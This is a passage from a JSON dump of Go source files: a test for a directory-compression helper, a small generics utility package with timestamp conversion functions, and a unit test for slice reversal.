    "content": "package fileutil\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc setupTestDir(t *testing.T, files []string) string {\n\tt.Helper() // Marks the function as a helper function.\n\n\ttempDir, err := os.MkdirTemp(\"\", \"testCompressDir\")\n\trequire.NoError(t, err, \"failed to create a temporary directory\")\n\n\tfor _, file := range files {\n\t\tfilePath := filepath.Join(tempDir, file)\n\t\terr := os.WriteFile(filePath, []byte(\"test content\"), 0o644)\n\t\trequire.NoError(t, err, \"failed to create a test file\")\n\t}\n\treturn tempDir\n}\n\nfunc TestCompressDir(t *testing.T) {\n\tt.Run(\"Normal Operation\", func(t *testing.T) {\n\t\ttempDir := setupTestDir(t, []string{\"file1.txt\", \"file2.txt\", \"file3.txt\"})\n\t\tdefer os.RemoveAll(tempDir)\n\n\t\terr := CompressDir(tempDir)\n\t\tassert.NoError(t, err, \"compressDir should not return an error\")\n\n\t\t// Check if the zip file exists\n\t\tzipFile := filepath.Join(tempDir, filepath.Base(tempDir)+\".zip\")\n\t\tassert.FileExists(t, zipFile, \"zip file should be created\")\n\t})\n\n\tt.Run(\"Directory Does Not Exist\", func(t *testing.T) {\n\t\terr := CompressDir(\"/path/to/nonexistent/directory\")\n\t\tassert.Error(t, err, \"should return an error for non-existent directory\")\n\t})\n\n\tt.Run(\"Empty Directory\", func(t *testing.T) {\n\t\ttempDir, err := os.MkdirTemp(\"\", \"testEmptyDir\")\n\t\trequire.NoError(t, err, \"failed to create empty test directory\")\n\t\tdefer os.RemoveAll(tempDir)\n\n\t\terr = CompressDir(tempDir)\n\t\tassert.Error(t, err, \"should return an error for an empty directory\")\n\t})\n}\n"
  },
  {
    "path": "utils/typeutil/typeutil.go",
    "content": "package typeutil\n\nimport (\n\t\"time\"\n)\n\n// Keys returns a slice of the keys of the map. based with go 1.18 generics\nfunc Keys[K comparable, V any](m map[K]V) []K {\n\tr := make([]K, 0, len(m))\n\tfor k := range m {\n\t\tr = append(r, k)\n\t}\n\treturn r\n}\n\n// Signed is a constraint that permits any signed integer type.\n// If future releases of Go add new predeclared signed integer types,\n// this constraint will be modified to include them.\ntype Signed interface {\n\t~int | ~int8 | ~int16 | ~int32 | ~int64\n}\n\nfunc IntToBool[T Signed](a T) bool {\n\tswitch a {\n\tcase 0, -1:\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc Reverse[T any](s []T) []T {\n\th := make([]T, len(s))\n\tfor i := 0; i < len(s); i++ {\n\t\th[i] = s[len(s)-i-1]\n\t}\n\treturn h\n}\n\nfunc TimeStamp(stamp int64) time.Time {\n\ts := time.Unix(stamp, 0)\n\tif s.Local().Year() > 9999 {\n\t\treturn time.Date(9999, 12, 13, 23, 59, 59, 0, time.Local)\n\t}\n\treturn s\n}\n\nfunc TimeEpoch(epoch int64) time.Time {\n\tmaxTime := int64(99633311740000000)\n\tif epoch > maxTime {\n\t\treturn time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local)\n\t}\n\tt := time.Date(1601, 1, 1, 0, 0, 0, 0, time.Local)\n\td := time.Duration(epoch)\n\tfor i := 0; i < 1000; i++ {\n\t\tt = t.Add(d)\n\t}\n\treturn t\n}\n"
  },
  {
    "path": "utils/typeutil/typeutil_test.go",
    "content": "package typeutil\n\nimport (\n\t\"testing\"\n)\n\nfunc TestReverse(t *testing.T) {\n\tt.Parallel()\n\n\treverseTestCases := [][]any{\n\t\t{1, 2, 3, 4, 5},\n\t\t{\"1\", \"2\", \"3\", \"4\", \"5\"},\n\t\t{\"1\", 2, \"3\", \"4\", 5},\n\t}\n\n\tfor _, ts := range reverseTestCases {\n\t\th := Reverse(ts)\n\t\tfor i := 0; i < len(ts); i++ {\n\t\t\tif h[len(h)-i-1] != ts[i] {\n\t\t\t\tt.Errorf(\"reverse failed %v != %v\", h, ts)\n\t\t\t}\n\t\t}\n\t}\n}\n"
  }
]